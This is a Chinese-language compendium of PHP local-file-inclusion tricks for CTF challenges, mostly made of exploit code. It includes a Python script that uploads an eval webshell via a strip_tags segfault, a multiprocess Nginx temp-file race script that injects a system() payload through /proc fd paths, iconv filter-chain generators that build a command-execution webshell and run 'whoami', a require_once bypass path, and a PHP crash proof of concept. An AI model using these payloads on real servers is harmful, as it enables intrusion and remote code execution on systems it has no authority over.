文件包含-LFI_Tricks
PHP-妙用/proc/self/fd触发LFI日志包含完成RCE命令执行
CVE-2018-14884
影响版本:An issue was discovered in PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1
php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
import requests
url="http://483248ff-82c5-42bb-a11b-aae16c8857e8.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"
files={
'file':('<?php eval($_REQUEST[kidult]);?>')
}
r=requests.post(url=url,files=files)
临时文件
大概的意思就是通过对php-src源代码的分析,发现可以使用
compress.zip://
流上传任意文件(compress.zip://http
或者compress.zip://ftp
,前提是开启allow_url_include
),在此过程中会生成临时文件,然后再经过一系列操作之后绕过WAF并且保存临时文件,最终实现RCE最后看下来好像这个方法并没有特别的惊艳,特别是需要开启
allow_url_include
,而这个配置php默认是关闭的。
用 compress.zip://http://
产生临时文件,包含即可,需要tmp这样的临时目录可写
临时文件终究还是会被 php 删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留存在服务器上,这样我们才有机会去包含它。
所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:
- 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
- 使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用
compress.zlib://ftp://
形式,控制 FTP 速度即可
- 利用
compress.zlib://http://
orcompress.zlib://ftp://
来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件 - 利用超长的 name 溢出 output buffer 得到 sandbox 路径
- 利用 Nginx 配置错误,通过
.well-known../files/sandbox/
来获取我们 tmp 文件的文件名 - 发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
- 绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
关键点主要是以下几点(来自 @wupco):
- 需要利用大文件或ftp速度限制让连接保持
- 传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
- tmp文件需要在两种文件直接疯狂切换,使得第一次
file_get_contents
获取的内容不带有<?
,include
的时候是正常php代码,需要卡时间点,所以要多跑几次才行 .well-known../files/
是nginx配置漏洞,就不多说了,用来列生成的tmp文件
Nginx Tmp File LFI
https://tttang.com/archive/1384/
原理:Nginx 接收Fastcgi的过大响应 或 request body过大时会缓存临时文件
通过 POST 过大的 Body 正文让 Nginx 产生 Tmp 进而配合多重链接绕过 PHP 包含限制完成 RCE,但是利用点也相对局限,毕竟只验证了 Nginx ,可能换到其他服务器就不行了。
- Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件
- 通过多重链接绕过 PHP LFI stat 限制完成 LFI
总结起来整个过程就是:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
- 虽然 Nginx 删除了
/var/lib/nginx/fastcgi
下的临时文件,但是在/proc/pid/fd/
下我们可以找到被删除的文件 - 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
Nginx Request Body Temp LFI
Nginx对于过大的请求体同样会将其内容存储在临时文件中。所以利用思路和Fastcgi的利用思路类似。
exp
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://192.168.43.103:49153"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
#创建会话句柄
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
#自定义HTTP适配器,创建连接池,消除tcp三次握手时延
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
#获取Nginx主进程pid
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
#向Nginx发送过大Body,使其生成临时文件
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag");__halt_compiler(); ?>'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
#循环发送
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
#多线程发送Payload
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
#生成随机路径/proc/pid/cwd/proc/pid/root绕过php软连接stat
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
#遍历读fd文件
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
if "flag" in d:
print("Found flag! ")
print(d)
exit()
#多线程竞争临时文件
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
#多进程竞争临时文件
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
iconv LFI
http://tttang.com/archive/1395/
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。
PHP Filter 当中有一种 convert.iconv
的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l
获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。
exp
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
echo (file_get_contents($final_payload));
new
import requests
#参数file
url = "http://192.168.190.191/index.php"
file_to_use = "index"
command = "whoami"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})
print(r.text)
require_once 绕过
https://www.anquanke.com/post/id/213235#h3-5
payload
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
Apache下PHP崩溃永久保留临时文件
CVE-2016-7125
5.6.25 之前的 PHP 和 7.0.10 之前的 7.x 中的 ext/session/session.c 以触发错误解析的方式跳过无效的会话名称,这允许远程攻击者通过控制会话来注入任意类型的会话数据名称。
原理
文件流保存
PHP在处理一个文件上传的请求数据包时,会将目标文件流保存到临时目录下,并且会以PHP+随机六位字符串
进行保存(php[0-9A-Za-z]{3,4,5,6}
),而一个文件流的处理有存活周期,在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。在这期间,一个临时文件存活时间大概有30s。
了解了处理机制,那我们如何去确定临时文件呢?最简单的是暴力破解,但是30s的时间来确定1/2176782336,emm…这个概率基本不可能。。。
除了在30s内确定临时文件以外,还有什么别的办法呢?前面说过,PHP崩溃把临时文件永久保留下来,既然这样的话,只要我们引起PHP崩溃我们就有足够的时间来进行爆破了。
影响测试
直接用我们的POC测试漏洞影响版本。
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
经过实测,PHP<7.4 & PHP<5.6.25 两种条件下都可实现PHP崩溃